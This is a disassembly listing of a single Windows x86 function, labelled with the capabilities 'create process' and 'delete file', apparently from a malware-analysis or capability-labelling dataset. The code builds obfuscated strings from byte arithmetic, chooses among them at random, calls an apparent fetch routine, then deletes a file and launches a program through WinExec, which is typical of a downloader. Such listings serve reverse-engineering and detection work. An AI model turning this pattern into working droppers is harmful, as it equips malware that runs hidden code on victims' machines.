Function at 0x402f00
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4057ab
push eax
mov eax, 0x12e6c
mov dword fs:[0], esp
call fcn.00405430
mov al, byte [0x418668]
push ebx
push esi
push edi
mov byte [ebp - 0x51c], al
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x51b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x410248]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x51c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x36e
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
push ecx
call fcn.00402300
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
add esp, 8
lea edx, [ebp - 0x51c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
call fcn.004050bc
mov edi, dword [0x410238]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x51c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_rand]
and eax, reloc.WSOCK32.dll_closesocket
jns 0x402ff6
dec eax
or eax, 0xfffffffc
inc eax
xor ebx, ebx
mov esi, 2
mov dword [ebp - 0x14], ebx
mov edx, dword [ebp - 0x14]
inc eax
inc edx
cmp eax, 3
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
jle 0x403015
mov dword [ebp - 0x10], ebx
mov eax, ebx
cmp dword [ebp - 0x14], 5
jg 0x40381d
cmp ecx, 0x3e7
nop
cmp eax, ebx
jne 0x4031a4
movzx ax, byte [0x408048]
movzx cx, byte [0x408033]
movzx dx, byte [0x40804d]
sub eax, 0x6e
add ecx, 0x37
mov word [ebp - 0x31c], ax
mov word [ebp - 0x31a], cx
movzx ax, byte [0x408025]
movzx cx, byte [0x408058]
sub eax, 0x8e
sub ecx, 0xbe
add edx, 0xf
mov word [ebp - 0x316], ax
movzx ax, byte [0x40805d]
mov word [ebp - 0x314], cx
mov word [ebp - 0x318], dx
movzx cx, byte [0x408050]
movzx dx, byte [0x408038]
sub eax, 0x40
add ecx, 0x48
sub edx, 0x50
mov word [ebp - 0x310], ax
movzx ax, byte [0x40804f]
mov word [ebp - 0x30e], cx
mov word [ebp - 0x312], dx
movzx cx, byte [0x40803a]
movzx dx, byte [0x40803f]
sub eax, 0x1e
add ecx, 0x40
sub edx, 0x6a
mov word [ebp - 0x30a], ax
movzx ax, byte [0x40805e]
mov word [ebp - 0x308], cx
mov word [ebp - 0x30c], dx
movzx cx, byte [0x408021]
movzx dx, byte [0x408056]
add eax, 0x50
sub ecx, 0xd0
sub edx, 0x27
mov word [ebp - 0x304], ax
movzx ax, byte [0x408046]
mov word [ebp - 0x302], cx
mov word [ebp - 0x306], dx
movzx cx, byte [0x408057]
movzx dx, byte [0x408037]
sub eax, 0x10
add ecx, 6
sub edx, 0x2c
mov word [ebp - 0x2fe], ax
mov word [ebp - 0x2fc], cx
mov ecx, 0x37
xor eax, eax
lea edi, [ebp - 0x2f8]
mov word [ebp - 0x300], dx
mov word [ebp - 0x2fa], bx
rep stosd dword es:[edi], eax
push ecx
lea edx, [ebp - 0x51c]
mov ecx, esp
mov dword [ebp - 0x18], esp
push edx
call sub.MFC42.DLL_CString::CString_3
push ecx
mov dword [ebp - 4], ebx
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 0x31c]
jmp 0x403358
cmp eax, 1
jne 0x40337d
movzx dx, byte [0x408024]
movzx cx, byte [0x408059]
movzx ax, byte [0x408044]
sub edx, 0xbc
sub ecx, 0xa4
mov word [ebp - 0x11a], dx
mov word [ebp - 0x11c], cx
movzx dx, byte [0x408057]
movzx cx, byte [0x408050]
sub eax, 0x83
sub edx, 0x32
mov word [ebp - 0x118], ax
add ecx, 0xc
movzx ax, byte [0x40802c]
mov word [ebp - 0x114], dx
mov word [ebp - 0x116], cx
movzx dx, byte [0x40805b]
lea ecx, [eax - 0xa6]
add edx, 0x1b
mov word [ebp - 0x112], cx
mov word [ebp - 0x110], dx
movzx cx, byte [0x408034]
movzx dx, byte [0x408029]
sub ecx, 0x69
add edx, 0x39
mov word [ebp - 0x10e], cx
mov word [ebp - 0x10c], dx
movzx cx, byte [0x40803e]
movzx dx, byte [0x408055]
sub ecx, 0x93
add edx, 0x66
mov word [ebp - 0x10a], cx
mov word [ebp - 0x108], dx
movzx cx, byte [0x40803b]
movzx dx, byte [0x408037]
sub ecx, 0x1a
add eax, 0xffffff8f
mov word [ebp - 0x106], cx
sub edx, 0x2d
movzx cx, byte [0x40802b]
mov word [ebp - 0xfe], ax
mov word [ebp - 0x104], dx
movzx ax, byte [0x40803d]
movzx dx, byte [0x408049]
sub ecx, 0x34
sub eax, 0x6a
mov word [ebp - 0x102], cx
add edx, 0x52
movzx cx, byte [0x40804f]
mov word [ebp - 0xfc], ax
mov word [ebp - 0x100], dx
movzx ax, byte [0x408020]
movzx dx, byte [0x408035]
sub ecx, 0x20
add eax, 0x27
mov word [ebp - 0xfa], cx
add edx, 0x21
mov word [ebp - 0xf6], ax
mov ecx, 0x35
xor eax, eax
lea edi, [ebp - 0xf2]
mov word [ebp - 0xf8], dx
mov word [ebp - 0xf4], bx
rep stosd dword es:[edi], eax
push ecx
lea edx, [ebp - 0x51c]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push edx
stosw word es:[edi], ax
call sub.MFC42.DLL_CString::CString_3
push ecx
mov dword [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0x11c]
push eax
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
call fcn.00402810
add esp, 8
cmp al, bl
jne 0x4036bc
mov eax, dword [ebp - 0x10]
jmp 0x403000
cmp eax, esi
jne 0x403525
movzx cx, byte [0x40803e]
movzx dx, byte [0x408034]
movzx ax, byte [0x40804c]
sub ecx, 0x8e
sub edx, 0x23
mov word [ebp - 0x41c], cx
mov word [ebp - 0x41a], dx
movzx cx, byte [0x408048]
movzx dx, byte [0x408037]
add eax, 3
sub ecx, 0xa4
mov word [ebp - 0x418], ax
mov word [ebp - 0x416], cx
movzx ax, byte [0x408033]
movzx cx, byte [0x408051]
sub edx, 0x59
sub eax, 0xf
mov word [ebp - 0x414], dx
sub ecx, 0x87
movzx dx, byte [0x408031]
mov word [ebp - 0x412], ax
mov word [ebp - 0x410], cx
movzx ax, byte [0x408053]
movzx cx, byte [0x40805c]
add edx, 0x26
add eax, 0x28
mov word [ebp - 0x40e], dx
sub ecx, 0x8c
movzx dx, byte [0x408025]
mov word [ebp - 0x40c], ax
mov word [ebp - 0x40a], cx
movzx ax, byte [0x408047]
movzx cx, byte [0x40805d]
sub edx, 0x6a
add eax, 0x3f
mov word [ebp - 0x408], dx
sub ecx, 0x56
movzx dx, byte [0x408059]
mov word [ebp - 0x406], ax
mov word [ebp - 0x404], cx
movzx ax, byte [0x40805e]
movzx cx, byte [0x408058]
sub edx, 0xac
add eax, 0x63
mov word [ebp - 0x402], dx
sub ecx, 0x84
movzx dx, byte [0x40803a]
mov word [ebp - 0x400], ax
mov word [ebp - 0x3fe], cx
add edx, 0x59
mov ecx, 0x37
xor eax, eax
lea edi, [ebp - 0x3f8]
mov word [ebp - 0x3fc], dx
mov word [ebp - 0x3fa], bx
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x51c]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_3
push ecx
mov dword [ebp - 4], esi
mov ecx, esp
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x41c]
push edx
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0xffffffff
call fcn.00402810
add esp, 8
cmp al, bl
jne 0x4036bc
mov eax, dword [ebp - 0x10]
jmp 0x403000
cmp eax, 3
jne 0x4036bc
movzx ax, byte [0x40804d]
movzx dx, byte [0x40805b]
sub eax, 0x2c
add edx, 0x1f
mov word [ebp - 0x21c], ax
mov word [ebp - 0x218], dx
movzx ax, byte [0x408058]
movzx dx, byte [0x408042]
lea ecx, [eax - 0xc0]
sub edx, 0x10
mov word [ebp - 0x21a], cx
lea ecx, [eax - 0xbe]
mov word [ebp - 0x216], cx
mov word [ebp - 0x214], dx
movzx cx, byte [0x408050]
movzx dx, byte [0x408031]
add ecx, 9
sub edx, 0x1e
mov word [ebp - 0x212], cx
mov word [ebp - 0x210], dx
movzx cx, byte [0x408022]
movzx dx, byte [0x408044]
add ecx, 0x58
sub edx, 0x55
mov word [ebp - 0x20e], cx
mov word [ebp - 0x20c], dx
movzx cx, byte [0x40802f]
movzx dx, byte [0x40802a]
add ecx, 0x5c
add edx, 0x32
mov word [ebp - 0x20a], cx
mov word [ebp - 0x208], dx
movzx cx, byte [0x408036]
movzx dx, byte [0x408048]
sub ecx, 0x30
sub edx, 0x73
mov word [ebp - 0x206], cx
mov word [ebp - 0x204], dx
movzx cx, byte [0x408023]
movzx dx, byte [0x40804b]
sub ecx, 0x45
add eax, 0xffffff3b
mov word [ebp - 0x202], cx
sub edx, 0x20
movzx cx, byte [0x408034]
mov word [ebp - 0x1fe], ax
mov word [ebp - 0x200], dx
movzx ax, byte [0x408052]
movzx dx, byte [0x40804f]
sub eax, 0x31
sub ecx, 0x28
mov word [ebp - 0x1fc], ax
mov word [ebp - 0x1fa], cx
sub edx, 0x16
mov ecx, 0x36
xor eax, eax
lea edi, [ebp - 0x1f4]
mov word [ebp - 0x1f8], dx
mov word [ebp - 0x1f6], bx
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x51c]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_3
push ecx
mov dword [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x21c]
jmp 0x403500
mov al, byte [0x418668]
mov ecx, 0x3f
mov byte [ebp - 0x61c], al
xor eax, eax
lea edi, [ebp - 0x61b]
lea edx, [ebp - 0x61c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x410248]
or ecx, 0xffffffff
xor eax, eax
push 0x61
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x10]
push ecx
call fcn.00402300
mov eax, dword [eax]
or ebx, 0xffffffff
mov edi, eax
mov ecx, ebx
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x61c]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x10]
call fcn.004050bc
mov edi, dword [0x410244]
mov ecx, ebx
xor eax, eax
lea edx, [ebp - 0x61c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x12e78]
call fcn.004011c0
lea eax, [ebp - 0x61c]
lea ecx, [ebp - 0x51c]
push eax
push ecx
lea ecx, [ebp - 0x12e78]
mov dword [ebp - 4], 4
call fcn.00401ae0
cmp al, 1
jne 0x40380f
lea edx, [ebp - 0x51c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
add eax, 0x318
pop eax
lea eax, [ebp - 0x61c]
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea edi, [ebp - 0x61c]
mov ecx, ebx
xor eax, eax
mov dword [ebp - 4], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x418250
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x12e78]
call fcn.00401280
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x12e78]
mov dword [ebp - 4], ebx
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret